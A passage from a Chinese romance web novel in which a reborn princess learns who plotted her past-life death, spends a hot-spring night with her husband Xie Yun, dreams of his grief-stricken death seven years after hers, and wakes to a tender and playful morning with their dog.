哪有什么大义灭亲,他就是在瓮中捉鳖。 目的是铲除林妙晴这个与他不对付的嫡妹,顺便拉他那待他不善的父亲林相下水,再卖她一个人情,好以后利用她,一箭三雕。 谢昀的眼神冷了下来,点了点头:“是。他早就被晋王暗中收用,借助晋王暗中的帮助,一步步爬上高位,成为晋王安插在朝中的一枚重要棋子。负责传递消息,拉拢官员,利用职务之便为晋王做些见不得光的事情。” 说完他停了下来,似乎在斟酌如何说下去。 姒华欢催促道:“他为何会出现在那里?” 谢昀的眼神带着一丝担忧:“你真的想知道吗?” 姒华欢心脏不由自主地缩紧,知道接下来的话不会好听。她迎上谢昀的目光:“我想知道,我必须知道。” 谢昀深深看了她一眼,沉声道:“晋王的原计划,是趁宫变混乱,由林珩在角楼伺机而动。他们打算放出我叛变的消息,特意传给你,然后引导你,刺激你,去与我当面对质。” “那时,林珩便会从角楼上,射杀你。” 姒华欢呼吸一滞,浑身冰凉。 “不过他们不知道,那时你已离京,坐上了下江南的船。” “为什么……是我?”姒华欢疑惑不解。 为什么不是父皇,不是哥哥,不是谢昀,而是她? 她只是一个不问政事的公主,杀她有什么用? “因为这是桑进给晋王献的毒计。”谢昀吐出这个名字,眼中寒光一闪。 “你是陛下最疼爱的女儿,是太子最珍视的妹妹,也是我的妻子,是我放在心尖上的人。你若出事,便会让陛下、太子与我三人同时崩溃,陷入极致的痛苦,方寸大乱。” 届时晋王便可趁虚而入,以最小的代价,获得最大的利益。 最后这句谢昀没有说出口,他终究不忍心告诉她桑进的原话,将她比作冰冷的利益。 姒华欢呆呆地看着谢昀,脑海里一片轰鸣,前世的画面不受控制地翻涌上来。 原来如此。 原来那是针对她精心策划的谋杀,是晋王、桑进、林珩他们布下的一个恶毒圈套。 而她前世那个懵懂无知的康乐公主,就这样傻傻地被套了进去,枉死箭下。 怪不得……怪不得她重生后,梦境里会出现他们三人。 是因为她的死和他们三个都脱不了干系。 一个是献计者,一个是下令者,一个是执行者。 见她脸色苍白,谢昀心中有些懊悔,自己不该告诉她这么残忍的真相。 谢昀将她揽入怀中,安抚道:“别想了,都过去了。他们的阴谋没有得逞,你别怕。” 在震惊过后,姒华欢吐出一口气,感受到卸下重负般的释然。 前世那个糊里糊涂,满怀遗憾死去的姒华欢,终于在这一刻,知晓了背后是怎样的算计与歹心。 所有的迷雾都散去了。前世的冤屈、不甘、困惑,终于有了答案。 自己重生的意义,或许就是为了揭破这一切。 这一世改变了结局。谢昀救下了她,她也救下了谢昀。父皇、母后,哥哥都安然无恙。逆党伏诛,真相大白。 那些噩梦般的过去,终于可以真正地放下了。 姒华欢紧紧回抱住谢昀,深深吸了一口气,汲取着他身上令人安心的气息。 然后她抬起头,望进谢昀深邃的眼睛,认真地说:“都过去了。” “嗯,不怕。”谢昀低声应和,“有我在,以后再也没有人能伤害你。” 前世种种,譬如昨日死。 从今往后,她要好好过这一世,和眼前这个人,一起。 ***** 京城的雪渐渐消融,但冬日的寒意依旧料峭。 整顿好前朝之事,嘉平帝下旨,携亲近宗室与重臣家眷,前往皇家温泉山庄小住休憩。 车马队伍浩浩荡荡。姒华欢与谢昀同乘一辆宽敞豪华的马车,内里铺着厚厚的绒毯,暖炉烧得正旺,角落小几上还温着甜酿和点心。 自那日得知前世真相后,两人之间仿佛又有什么无形的东西被打破了,不是隔阂,是更深层次的亲近与依赖。 如今两人之间几乎要溢出来的情意,连身边的下人都瞧得分明。 一路上,车厢内暖烘烘的,甜香氤氲。 姒华欢起初还趴在车窗旁看景,没一会儿便觉得困倦,眼皮开始打架。 谢昀很自然地伸手将她揽过来,让她躺在自己的大腿上,一只手与她十指相扣,指尖轻轻摩挲着她的指尖。 姒华欢含糊地咕哝了一声,也没拒绝,调整了个舒服的姿势,安心地闭上眼。 马车轻微颠簸时,姒华欢无意识地往他怀里钻了钻。谢昀看了一会儿,忍不住低头,在她光洁的额头上印下一吻。 睡梦中的姒华欢似有所觉,睫毛颤了颤,并未醒来,只是嘴角微微弯起一点柔和的弧度。 就这么一路腻歪着,时而低语,时而静默相拥,时而谢昀喂她一块点心,姒华欢也顺手喂他一颗蜜饯。 明明只是寻常路途,却硬是被两人过出了几分蜜里调油的意味。 随行的姚黄和魏紫偶尔去进来添茶换水,见状都是抿唇一笑,悄然退下,不敢打扰。 抵达温泉山庄时已是午后,略作安顿,嘉平帝便传旨,让众人至主殿旁的暖阁共用晚膳。 姒华欢和谢昀换了身轻便的常服,一同前往暖阁。 一路上,谢昀很自然地又牵起了她的手。 姒华欢起初碍于周围的下人,有些不好意思,想抽回,却被他牢牢握住。 “路上滑。”他理由充分,一脸正气。 姒华欢瞥了眼清扫得干干净净,连片落叶都没有的青石路,无语地看了他一眼,却也任由他牵着。 到了暖阁,帝后尚未至,一些先到的宗亲大臣正在寒暄。见姒华欢与谢昀进来,目光不约而同地落在两人相连的手上。 两人并不在意旁人目光,径直走到属于他们的席位坐下。 谢昀的手依旧没有松开,反而在桌下轻轻摩挲着姒华欢的手背。 不多时,帝后驾到,众人起身行礼。 嘉平帝看起来精神不错,脸上带着笑意,显然对此次出行颇为满意。 嘉平帝的视线在姒华欢与谢昀交握的手上停顿了一下,然后抬起来,落在谢昀脸上,嘴角抽了抽,似乎想说什么,又忍住了,只挥挥手:“免礼,坐吧。” 皇后眉眼温和,看着两人紧握的手,眼中笑意更深。 传膳的功夫,嘉平帝与几位近臣说了会儿话,目光不经意般扫过姒华欢和谢昀那边。 只见谢昀正侧头低声对姒华欢说着什么,姒华欢抿唇轻笑,眼波流转,而桌下两人的手分明还握在一起,被宽大的袖袍垂下遮住。 嘉平帝终于忍不住清了清嗓子,开口道:“景初啊。” 谢昀立刻应声:“臣在。” 嘉平帝指了指他和姒华欢之间那几乎可以忽略不计的距离,挑眉道:“现在你能把手放开了吗?朕看着眼晕。” 语气里倒没有多少责备,更多的是长辈看到小辈黏糊时的调侃。 暖阁里安静了一瞬,随即响起几声压抑的低笑,几位宗室女眷更是以扇掩面,目光在两人身上打转。 姒华欢的脸“唰”地红透,简直想找个地缝钻进去。 谢昀也难得哽了一下,耳根微微泛红,但很快恢复镇定,才在嘉平帝带着笑意的注视下,颇为不舍地松开了。 “陛下恕罪,是臣失仪了。”谢昀面不改色地请罪,语气里听不出多少诚意。 嘉平帝又好气又好笑,摆摆手:“行了行了。年轻人,恩爱是好事,但也注意一些场合。” 这话更是引得众人会心一笑。 姒华欢低着头,恨不得把脸埋进面前的碗里。 谢昀在桌下轻轻碰了碰她的膝盖,递给她一个安抚又带着点戏谑的眼神,姒华欢在桌下偷偷踩了他一脚。 宴席在温馨的气氛中结束,众人各自返回院落。 回到属于他们的独立院落,一进屋,暖意夹杂着湿润水气便扑面而来。 寝室内侧,一道雕花木门虚掩着,后面便是引了天然温泉的浴池。 早有伶俐的下人备好了热泉、干净的寝衣、柔软的布巾,以及驱寒的姜茶和几样精致点心。 姚黄和魏紫服侍姒华欢卸了钗环,换下衣裳,谢昀也自行去厢房更衣。 待两人再见面时,都只穿着单薄的雪白里衣,外罩轻软的绸袍。 汤池边的石阶上铺着厚厚的垫子,以免滑倒。 池水清澈,水面上漂浮着新鲜的花瓣,水汽在寒冷的冬夜里凝成一片朦胧的白雾。 “殿下,侯爷,热水已备好,换洗衣物在屏风后。奴婢们在外候着,若有需要,摇铃即可。” 管事嬷嬷恭敬地说完,便带着所有下人退了出去,贴心地将房门关好。 室内只剩下他们两人,以及潺潺的流水声。 气氛莫名变得有些不同。 明明更亲密的事情都做过了,可在此刻这私密的空间里,看着那一池诱人的温泉,姒华欢还是觉得有些不自在,脸颊微微发热。 谢昀倒是神色自若,走到她身边,很自然地伸手去解她外裳的系带。 “我,我自己来。”姒华欢慌忙按住他的手。 谢昀动作顿住,抬眼看她,声音低了几分:“好。” 两人各自转到屏风后,褪去外衣,只穿着单薄的雪白里衣。 丝质的衣料柔软贴身,勾勒出身体的曲线,隔着屏风能听到悉悉疏疏的衣料摩擦声,更添几分暧昧。 姒华欢先一步从屏风后走出来,赤足踩在毯子上,慢慢走向池边。 里衣的下摆随着她的走动轻轻摇曳,露出一截白皙纤细的脚踝。 她试了试水温,恰到好处的温热从指尖传来。她慢慢步入池中,温热的泉水瞬间包裹上来,舒适得让她轻轻微叹一声。 泉水不深,坐下时刚好没过胸口。她将身体沉入水中,只露出脖颈和肩膀。 湿透的里衣紧紧贴在身上,变得近乎透明,却又被荡漾的水波和漂浮的花瓣半遮半掩,反而更引遐思。 谢昀也从屏风后走出。 他身形挺拔,穿着同样质地的里衣,衣襟微微敞开,露出线条优美的锁骨和一小片结实的胸膛。 他目光落在池中的姒华欢身上,眸色骤然加深,喉结滚动了一下。 他不紧不慢地踏入池中,水波因为他而晃动,荡漾开一圈圈涟漪。他在姒华欢对面坐下,隔着朦胧的水汽与她相望。 那目光太过直接,带着毫不掩饰的欣赏与热度,姒华欢被他看得浑身不自在,脸颊更烫,往水里缩了缩。 谢昀伸手,从水面上捞起几片沾湿的花瓣,指尖捻了捻,轻笑一声:“躲什么?” “没,没躲。”姒华欢嘴硬,却不敢看他,目光飘向池边。 池内空间不算特别宽敞,两人之间的距离不过几步。 谢昀伸出手臂微微用力,将她带得离自己更近。两人身体在水中几乎相贴,湿透的薄薄衣料阻隔甚微,彼此的体温通过水流传递,令人心悸。 谢昀抬手,拂开她脸颊边那缕湿发,指尖不经意地擦过她敏.感的耳廓。 姒华欢身体微微一颤。 他的手指没有离开,而是顺着她的脸颊轮廓缓缓下滑,抚过她修长的脖颈,停留在精致的锁骨上,若有若无地打着圈。 “没有了。” “什么没有了?”姒华欢喉咙有些干涩。 “之前留的那些痕迹,都消了。” 谢昀的指尖继续向下,隔着湿透后形同虚设的里衣衣襟轻轻描摹着那起伏的曲线边缘。 水波荡漾,花瓣浮动,衣料紧贴,他手指的每一个微小移动都清晰可感。 姒华欢呼吸急促起来,身体微微后仰,想避开这太过撩拨的触碰,后背却抵上了光滑的池壁,无处可退。 她抬起眼,望进他深不见底的眼眸,那里面的炽热几乎要将她融化。 谢昀终于不再满足于指尖的流连,他倾身向前,缩短了最后一点距离。 他一只手撑在她身侧的池壁上,将她困在自己与池壁之间,另一只手则用拇指轻轻摩挲着她的下唇。 他的气息完全笼罩下来,姒华欢仰着脸,看着他越来越近的俊颜,睫毛因为紧张和期待而轻轻颤抖。 她没有躲闪,甚至不自觉地微微启唇。 这无声的邀请让谢昀低下头,含住她的唇瓣,细细吮吻。 姒华欢在他的深吻和抚摸下逐渐软化,手臂不由自主地环上了他的脖颈,生涩又热情地回应。 渐渐的,他的吻从她的唇上移开,流连到脖颈,停顿了一下,下移至锁骨,留下湿热的痕迹。 “谢昀……别……”姒华欢仰着头,承受着他灼热的亲吻,手指插入他半湿的发间,难耐地轻轻揪扯。 谢昀明白她的意思,低笑:“没留在脖子上,这看不到。” 姒华欢沉浮在温暖的海浪中,无力思考,只能跟随他的引领沉沦。 水波剧烈地晃动起来,花瓣被激荡地四处飘散,意识在温热的水流和滚烫的接触中逐渐飘远。 池边的绢灯静静燃着,将交叠的身影投在雾气和水波之上,晃动,纠缠,难分彼此。 不知过了多久,水波才渐渐平息。 谢昀将浑身瘫软,眼尾泛红的姒华欢重新抱入池水中,细细为她清洗。 姒华欢连抬手指的力气都没了,软软地靠在他怀里,任由他动作,只是偶尔被他碰到敏.感处,才会轻轻颤一下。 谢昀爱怜地吻了吻她汗湿的鬓角,将她打横抱起,用宽大柔软的布巾裹好,回到内室。 姒华欢累极,沾枕就昏昏欲睡。 没一会儿,眼前黑暗渐渐退去,浮现出熟悉的景象—— 是侯府的主院,这院子,比她上一次在梦中看到还要萧索许多。 天色是灰蒙蒙的,像是黄昏,又像是黎明前最黯淡的时刻,了无生气。 她看到了陶总管,比她印象中老了许多,头发花白,背微微佝偻,正小心翼翼地搀扶着一个身影,慢慢走进来。 是谢昀—— 作者有话说:明天再发一个肥章就完结啦~《 》 第97章 正文完结 第97章 正文完结 他穿着一身素色的常服, 身形比她以往所有的梦中都要清瘦,仿佛一阵风就能吹倒。 脸色是一种不健康的苍白,嘴唇也没有什么血色, 眉宇间笼罩着一层化不开的沉郁。 他走得很慢, 每一步都像是耗费了极大的力气,需要陶总管支撑。 他们走到院子那片牡丹花圃前。花圃里的牡丹早已凋谢, 只剩下枯黄的茎叶, 在秋风中瑟瑟发抖。 陶总管扶着他慢慢坐在回廊下, 又将一张薄毯盖在了他的膝上。 谢昀的目光投向那片枯败的玫瑰花圃, 眼神空洞,不知道在想什么。 陶总管叹了口气,退到一旁守着, 眼神里满是无奈与心痛。 姒华欢心中一揪,飘到他面前, 去看他的脸。 他看起来好憔悴, 好虚弱, 像是大病了一场,像是被什么东西从内里一点点掏空了精气神。 谢昀仿佛有所感应,缓缓将视线从花圃移开,投向了她所在的方向。 他的眼神起初是空洞的, 但突然看到了什么,瞳孔收缩, 眼中起了丝波澜。他的嘴唇微微颤抖起来, 眼眶瞬间红了。 他看着她,忽然极轻地扯出一个笑容。 那笑容里没有半分喜悦,只有释然,泪珠也随之滑落。 他开口, 声音哽咽,轻轻地说:“这些年你都不肯入我的梦,现在终于肯来了吗?” 姒华欢如遭雷击,怔在原地。 他在对她说话?他能看见梦里的她了? “你……你能看见我了?”姒华欢听见自己的声音在颤抖。 谢昀却仿佛真的听到了,泪水不断滚落,笑容却真切了几分,眼睛一眨不眨地看着她。 “你看起来,还和当年一样……”他喃喃着,目光贪婪地注视着她,“一点都没变。” 陶总管听见他说话,看他如同魔怔般看着虚空流泪说话,愣了愣,开口问道:“侯爷,你在和谁说话?” 谢昀没有回答他,眼神定定地盯着姒华欢。 当年?哪一年? “我死了……多少年了?”姒华欢问。 谢昀眼中的痛色更深。 他闭了闭眼,再睁开时,声音轻得像一片羽毛,却重得能压垮人心:“七年了。其实我已经不能很清楚地记得你的脸了。” 七年…… 原来在前世她死后,谢昀独自一人在这世间挣扎了七年,看他现在的样子,这七年他过的是什么日子? 姒华欢的眼泪瞬间决堤。 “你不该……”她泣不成声,“不该为了我把自己变成这个样子。谢昀,你才二十七岁,你还有大好的年华,有大好的前途,你不该……” “不该这样?”谢昀接过她的话,笑容里染上自嘲,眼泪无声滑落,“你们果然是兄妹,说出来的话都一样。” 哥哥?哥哥也这样劝过他吗? 谢昀目光死死锁住她虚幻的身影,问出了那个折磨了他七年的问题:“姒华欢,你还恨我吗?” 恨他? 姒华欢拼命摇头,眼泪横飞:“不!我不恨你,我从来没有真正恨过你!” “我知道不是你……我都知道了。是晋王,是桑进,是林珩,是他们害死了我,我知道不是你……我知道你是来救我的,是我误会了你那么久,对不起……” 她语无伦次地哭着,想要把所有的真相、愧疚和心疼都告诉他。 前世她直到死都对他带着怨怼和误解,而这误解显然成了压垮他的最后一根稻草。 谢昀黯淡如死灰的眼神,在听到她这番话后,迸发出一簇微弱却惊人的光亮。 他震惊地看着她,嘴唇颤抖得更厉害,似乎想说什么,却发不出声音,只有大颗大颗的眼泪滚落。 “……你知道?”良久,他终于找回自己的声音,不敢置信地问,“你……你不恨我……你信我?” 姒华欢拼命点头:“我信你!是我不对,是我太笨,太偏执,看不清真相……是我害了你,也害了我自己。” “不,不是你的错。”谢昀摇头,“是我的错,是我太自负,太大意,我以为我能掌控一切,能保护好你,却没想到他们那么狠毒,直接对你下手。” “我后悔了,姒华欢。” 他唤她的全名,如同叹息。 “如果上天再给我一次机会,我想回到什么事都没发生的时候,回到你还在我身边,还会对我笑,跟我闹别扭的时候……” 他抬起头,眼泪朦胧地望着虚空中的她,眼神中是彻骨的痛,虔诚地祈求:“我愿意,用我剩余所有的寿数,去换你平安喜乐一世。” “不!不要!”姒华欢高喊着阻止,“我不要你这样!谢昀!不许你说这种话!你要好好活着!为了你自己活着!” 谢昀却像是没有听见她的嘶喊。 他脸上的泪痕未干,却露出了一个异常平静,带着一丝解脱般温柔的笑容。 谢昀看着她,目光缱绻而留恋,仿佛要将她的模样深深刻入眼底。 “蓁蓁。”他忽然唤出了她的小字,声音很轻,“允许我……这样叫你一次吧。” 姒华欢浑身僵住。 “谢谢你还愿意来……”他继续说着,笑容越发温柔,也越发虚无,“我此生,无憾了。” 说完,他像是耗尽了最后一点力气,疲惫地将头靠在了身旁坚硬的廊柱上,闭上了眼睛。 他就那样静静地靠着,一动不动了。 秋风吹过,卷起几片枯叶,落在他盖着薄毯的膝上。 “谢昀?谢昀!”姒华欢惊恐地大喊,徒劳地在他身边打转,几次想伸手去摇晃他,仍旧是徒劳穿过,无法触碰到他分毫。 陶总管在一旁等了片刻,见谢昀许久未有动静,以为他睡着了,担心他着凉,便走上前,轻声道:“侯爷,侯爷,回屋里睡吧,这风大……” 他的话戛然而止。 陶总管脸上的关切变成了惊愕,他感知到了什么,缓缓上前,颤抖着伸出手,小心翼翼地探向谢昀的鼻息。 下一刻,陶总管如同被烫到般缩回手,没站稳,向后踉跄一步,老泪纵横,“噗通”一声跪倒在地,嘶声哭喊:“侯爷!侯爷!!!” 凄厉的哭喊声划破了侯府的死寂。 院中其他仆从闻声,惊慌失措地涌来,看到眼前景象,皆是大惊失色,瞬间乱作一团。 有人飞奔去请太医,有人慌乱无措地围着,有人跟着哭泣。 姒华欢呆呆地飘在一旁,看着下方乱成一团的人群,看着那个轻轻靠在廊柱上,仿佛只是沉睡过去的身影,大脑一片空白。 什么意思? 谢昀他怎么了? 他只是睡着了,对吧?他太累了,只是睡着了…… 她看到有人试图将谢昀扶进屋里,却被他手臂无力地垂落吓到。 她看到匆匆赶来的府医颤抖着搭脉,然后面如死灰地摇头。 不!不可能! 她听见有人高喊:“陛下到!” 姒华欢转头看见她的哥哥一身龙袍疾步冲进院子,脸上是掩饰不住的焦急与惊慌。 他推开慌乱的人群,冲到回廊下,看到闭目靠在廊柱上的谢昀时,脚步顿时停住,脸上血色尽失。 陶总管见到姒华容像是见到了主心骨,跪爬着上前,抱住姒华容的腿,泣不成声:“陛下,陛下!侯爷他,侯爷他……” 姒华容顺着谢昀面朝的方向,看向他面对的那片枯败的牡丹花圃。 那是妹妹生前最喜欢的花。谢昀曾暗中为她遍寻名品,花开时节,满园锦绣,她总爱在花间嬉戏。 一瞬间,他什么都明白了。 他闭上眼睛,深吸了一口气。再睁开时,眼眶已是一片通红。 他一步步沉重地走到谢昀面前,缓缓蹲下身。 陶总管跪在地上,用衣袖胡乱擦着眼泪,声音嘶哑破碎,像是自言自语,又像是在对太子,对所有人,对那个再也听不见的人诉说: “侯爷他……这几年身子一年不如一年,大夫都说是心病,是郁结于心,伤了根本……自打……自打为公主报了仇之后,侯爷就像……就像是彻底空了……” “唯一支撑侯爷活下去的那颗报仇的决心也没了,茫茫天地间,侯爷甚至……甚至不知道自己的存在还有什么意义……” “我们都劝他……陛下劝,老奴也劝,所有人都劝……活下来,就算是为了老侯爷,为了云徽将军,为了谢家仅存的血脉,也得活下来……” 陶总管哽咽着,几乎说不下去,浑浊的泪水布满了沟壑纵横的脸。 “可是……可是侯爷他做不到了啊陛下!他太累了……他撑了七年……终于撑不下去了……” 姒华容静静地听着,双手五指收紧,用力到指节泛白。 他伸出手,轻轻拂去谢昀脸颊上最后一滴未干的泪痕,自己也闭上了眼,两行清泪顺着眼角滑落。 他将额头抵在谢昀的膝上,肩膀不受控制地颤抖。 姒华欢站在一旁,将陶总管的话一字不落地听入耳中,每一个字都像一把钝刀在她心上来回切割。 原来前世她死后,他是这样过的。 怀着对她的愧疚,背负着血海深仇,独自在炼狱般的愧疚与痛苦中煎熬了七年。 报仇雪恨并未带来解脱,反而抽走了他的最后一丝支撑。 当一切尘埃落定,失去的挚爱无法挽回,误解无法澄清,漫长的余生只剩下无边的孤寂与自我折磨时,他耗尽了生命的最后一点烛火。 不是病死的,他是心死了。 姒华欢此刻想要撕心裂肺地哭喊,但伤心到极致的人是发不出一点声音的。 她拼命地想要唤醒他,想要告诉他这一切都不是真的,他们还有重新来过的机会。 可这些话哽在喉头,怎么也说不出来。 一道熟悉的身影悄无声息地出现在她身后。 “原来,不是幻觉,是你真的来看我了。” 姒华欢猛地转头,泪水还挂在脸上,呆呆地看着眼前这个谢昀,又转身看看靠在廊柱上的谢昀。 意识到什么后,她不管不顾地用尽全身力气朝着身后的他扑了过去。 没有穿透。 这一次,她结结实实地撞入了他的怀抱。 两个灵魂在奇异的梦境中,真实地接触、相拥。 “谢昀……谢昀……”姒华欢放声大哭,双臂死死搂着他,“你这个傻子!大傻子!你怎么可以,怎么可以就这样……你该好好活着的!你听见没有?谢昀,你这个混蛋!傻子!” 她语无伦次地骂着,捶打着他,所有的害怕、心疼、愧疚都化作滚烫的泪水,狠狠控诉他。 谢昀被她扑得微微一晃,随即更用力地回抱住她。他低下头,将脸深深埋进她的颈窝里。 还没等姒华欢发泄完,一股巨大的吸力传来。眼前的景象开始飞速旋转,模糊。 谢昀拥抱着她的手臂,似乎在用力,又似乎在消散。 “谢昀!” 姒华欢倏地从梦中惊醒,弹坐起来,大口大口地喘着气,额头上全是冷汗,脸上冰凉一片,是未干的泪痕。 她感觉到浑身都在发热,一阵冷一阵热,头晕目眩,喉咙干涩得发疼。 “怎么了?”耳边响起熟悉的声音,“我在这里。” 一只干燥有力的大手覆上她的额头,姒华欢泪眼朦胧地望过去,对上谢昀近在咫尺的脸。 他坐在床边,身上披着一件外袍,头发也只是随意束着,几缕碎发落在额前。 是谢昀,活生生的谢昀。 眼前的他年轻健康,俊朗的眉眼间虽带着疲惫和担忧,却充满了勃勃生机。满头乌发浓密,没有一根华发。 不是梦,刚才那个才是梦吗? 不,或许两个都是真的。 一种失而复得的庆幸让姒华欢眼泪流得更凶。 她张开双臂扑过去,用力抱住了谢昀的脖子,将滚烫的脸颊埋在他的颈窝,放声痛哭。 “谢昀……谢昀……” 她一遍遍叫着他的名字,像是怎么都叫不够。 谢昀被她扑得向后仰了仰,手中的帕子都掉了。 他连忙回抱住她,轻轻拍着她的背,语气轻柔:“在,我在这。是做噩梦了?我刚刚唤了你好几声,你都没醒,是梦到什么可怕的事了?” 姒华欢只是摇头,哭得上气不接下气。 直到此刻,她才真正彻底明白了自己重生的缘由。 不是偶然,不是天意弄人后的恩赐。 而是眼前这个男人用他前世七年的痛苦煎熬,用他年轻生命里最后所有的寿数,用他那份至死未消的爱意,向不知名的神明献祭才换来的奇迹。 这一世,她一定要千倍万倍地对他好,把前世错过的,都补偿回来。 心中激荡的情绪需要一个出口,姒华欢含着泪抬起头,主动吻上了谢昀的唇。 谢昀被她突如其来的主动亲吻弄得一怔,但还是回应了这个吻,却只是轻柔地碰了碰她的唇瓣,便退了开来,没有深入。 “乖,”他用额头抵着她的额头,低声哄道,“你现在还在发热,不能任性,快躺好。” 谢昀将她重新塞回锦被中,仔细掖好被角,拿起旁边水盆里的干净帕子,沾水,拧干,轻轻敷在她滚烫的额头上。 姒华欢这才后知后觉地感受到身体的不适。 确实在发热,而且头重脚轻,浑身酸软无力。 “我为什么会发热?”姒华欢声音哑哑地问,刚哭过的鼻音听起来有些可怜兮兮的。 谢昀脸上闪过一丝不自然,耳根些泛红,但语气更多的是懊恼:“怪我。不该在冬日里,还在温泉池中……闹你太久。你本就体弱,着了水,稍有一些凉气侵体,便发热了。” 看着她恹恹的模样,他心疼更甚,继续反省:“以后再也不在水里胡闹了。” 原来是因为昨夜。 看着坐在床边眉宇中写满自责的谢昀,姒华欢手指在他掌心轻轻挠了挠,“我冷,你上来抱抱我,好不好?” 谢昀对上她湿漉漉的大眼睛,哪里说得出半个“不”字。 他迅速脱了鞋袜和外袍,掀开被子一角躺了进去,将她揽入怀中,用自己的体温去暖她。 他的怀抱渐渐抚平了姒华欢因梦而惊悸的心。 “睡吧,我在这陪着你。”谢昀轻轻拍着她的背,像哄孩子一样。 “不睡了。”姒华欢手上揪着他寝衣的系带玩。 谢昀有一下没一下地抚摸着她的长发,问道:“刚才梦见了什么?哭得那样厉害。” 提到刚才的梦,姒华欢心口阵阵发紧。 她在他怀里蹭了蹭,没有直接回答梦的内容,反而想起另一件事。 “谢昀,”姒华欢抬起眼睛看他,“我以前听陶总管提过,你总去慈云寺找净空大师算姻缘。” 谢昀抚着她长发的手微微一顿,无奈笑道:“他怎么连这个都跟你说了?” 倒不是责怪,只是暗恋的少男心思被揭开的窘然。 “嗯,”姒华欢点头,好奇心被勾了起来,“他说你去了好多次,为什么?八字不是一次就能算清楚吗?为什么要反复去算?” 谢昀沉默了一下,才缓缓道:“一开始,我找了好几位颇有名望的大师,算出来的结果都不太好。” “后来我找到净空大师,他看了之后也摇头,说我们俩的命格,若强行结为夫妻,必定会克死一方。” 姒华欢的嘴巴因为惊讶而微张。 原来还有这样的说法? “所以你害怕了?”姒华欢轻声问。 “怕。”谢昀答得干脆,将她搂得更紧了些。 “我怕极了。你知道的,我父亲母亲都战死沙场,谢家血脉凋零。京中私下早有传闻,说我命硬,是天煞孤星,亲近之人都会因我而遭遇不幸。” 他自嘲地笑了笑:“那时候我真的怕了。我怕那传闻是真的,怕我若执意娶你,会害了你,我不敢想。” 姒华欢听的心中酸涩难言,抬手抚上他的脸颊。 “那后来呢?你为什么又去找父皇求娶我了?” 谢昀眼睛亮起来:“因为我不死心。每隔一段时间,我便会去找净空大师一次,让他为我重新推算。” “直到最后一次,净空大师看了许久,最后告诉我,变了。” “变了?” “嗯。”谢昀点头,眼底的光越来越亮,“净空大师说,不知为何,原本纠缠不清,相互冲突的命格被强行扭转。他重新合了我与你的八字,最终算出的结果是天作之合,可期白首。” “我一听,哪里还等得及,立刻就进宫向陛下求娶了。”他想起当时的急切,自己都觉得有些好笑,却又无比庆幸于自己的果断。 更何况,当时有几个不知天高地厚的老家伙日日弹劾她。 他虽身为文官,但也略通些拳脚,当时想着选个良辰吉日,在早朝时将人打一顿算了。 没想到天意逆转,让他有正当理由去堵那些老东西的嘴。 姒华欢听着,心中波澜起伏。 那不就是她刚重生回来没几天的时时候? 命格变动是因为她重生了吗?因为她回来了,改变了一些事情的轨迹,所以连带着他们之间的命数也发生了变化? 姒华欢露出惊讶又好笑的表情:“你就这么急,万一净空大师算错了呢?” “等不及了。”谢昀哼笑一声,捏了捏她的鼻尖,颇有些咬牙切齿的意味,“能不急吗?我的公主殿下,您当时好大的手笔,一去折梅院,一口气叫了十个小馆。照您这么个叫法,轮到我的时候,恐怕人都已经绕着京城排了两圈队了。” 说完,他似是不解气,低头在她的下唇上不轻不重地咬了一下,当做是小小的惩罚。 “唔!”姒华欢吃痛,却忍不住“噗嗤”一声笑了出来,越笑越厉害,最后干脆埋在他怀里笑得肩膀直抖。 怪不得前世的谢昀阻挠她亲事许多年,如今想想,倒也没那么气了。 两人在锦被里笑闹成一团的时候,外间忽然传来一阵急促的响动,还有陶总管惊慌失措的声音:“哎哟!不能进去!侯爷和公主还没起呢,焦焦!停下!” 紧接着,“砰”的一声,房门被一股蛮力撞开。 一道白影带着疾风,“哒哒哒”地快速冲了进来,直奔内室的床榻。 姒华欢被这动静吓了一跳,刚转过头,还没看清是什么,那道白影已经高高跃起,跨过躺在外侧的谢昀,“咚”一声,精准地落在了两人之间的锦被上。 定睛一看,正是焦焦。 小家伙此刻正坐在两人中间,用那双湿漉漉的黑眼睛看看谢昀,又看看姒华欢,然后张开嘴:“嗷呜!嗷呜!嗷呜——!” 叫声又急又响,还带着拐弯,仿佛在质问:你们这两个没良心的,偷偷跑出来玩,不带我,知不知道我在家等得多辛苦! 姒华欢不得不双手捂上了耳朵,哭笑不得地看向谢昀。 这时,陶总管才气喘吁吁地追了进来。 他不敢直视床榻,一进来就用双手死死捂住了眼睛,一脸苦相道:“我什么也没看见!侯爷,殿下,我实在是拉不住焦焦,它力气太大了!” “自打您二位离府来了温泉山庄,焦焦不分白天黑夜的在府里嚎叫。左邻右舍都被吵得怨声载道,好几家都上门来,委婉地问能不能别再让它叫了。” “我实在是没办法了,才斗胆把它也带来了山庄。它一进山庄,嗅着味儿就直接冲这儿来了……” 之前在府中的时候,姒华欢和谢昀每天都会空出些时间陪它玩一会。惯得焦焦如今离了他们二人就是不行,像个小孩子一样哭天喊地非要找他们。 姒华欢领略过焦焦的魔童行为,非常能理解左邻右舍的哀求。 她忍俊不禁,伸手摸了摸焦焦的脑袋和竖起的耳朵。 焦焦被摸得舒服,眯了眯眼,但立刻又想起自己是来兴师问罪的,赶紧甩甩头,继续用小黑眼睛瞪着他们,喉咙里发出不满的咕噜声。 还用鼻子去拱谢昀的手臂,又转头蹭蹭姒华欢的手,意思是:别光摸,起来陪我玩! 姒华欢被它逗得笑个不停,对谢昀说:“都说谁养的狗就随谁的脾性,真真是一模一样。” 这委屈了就要闹,给了点甜头就顺杆爬,黏人又霸道的劲儿,可不是跟某人如出一辙? 谢昀对这话很有意见,屈指在焦焦的鼻尖上轻轻一弹,挑眉道:“哪一样了?我何时像它这般胡闹。” 姒华欢想起什么,笑问:“听说父皇有意让你去河南道办个差事?” 谢昀“嗯”了一声,神色平淡:“是有这么回事。不我已经回禀陛下,不去了。天气还未回暖,你身子不好,不方便去。” 姒华欢睨他一眼:“关我什么事?我又不跟你去。” 谢昀理所当然道:“一来一回至少要大半个月,若是事情不顺利,拖上一个多月也是有的。这么长时间看不见你,我会疯的。若是不能带你一起去,那这差事我也不去了。” 姒华欢促狭地看着他:“你这不也是离不了人吗?比焦焦还要胡闹。” 谢昀被她反将一军,也不恼,伸手在她光洁的额头上轻轻一点:“小没良心的。” 姒华欢抿唇笑了,没有责怪他的意思,反而心里甜滋滋的。 反正父皇能用的心腹臣子又不止他一个,但对她来说,谢昀只有一个,只能小小地对不住父皇啦。 被夹在中间,又被彻底忽视的焦焦不干了。 看见两人你一言我一语,眼神缠绵,完全把它当成了空气,顿时急了。 它开始不安分地扭动身体,用两只前爪开始疯狂刨他们盖着的锦被,力道之大,差点把被子刨出个洞。 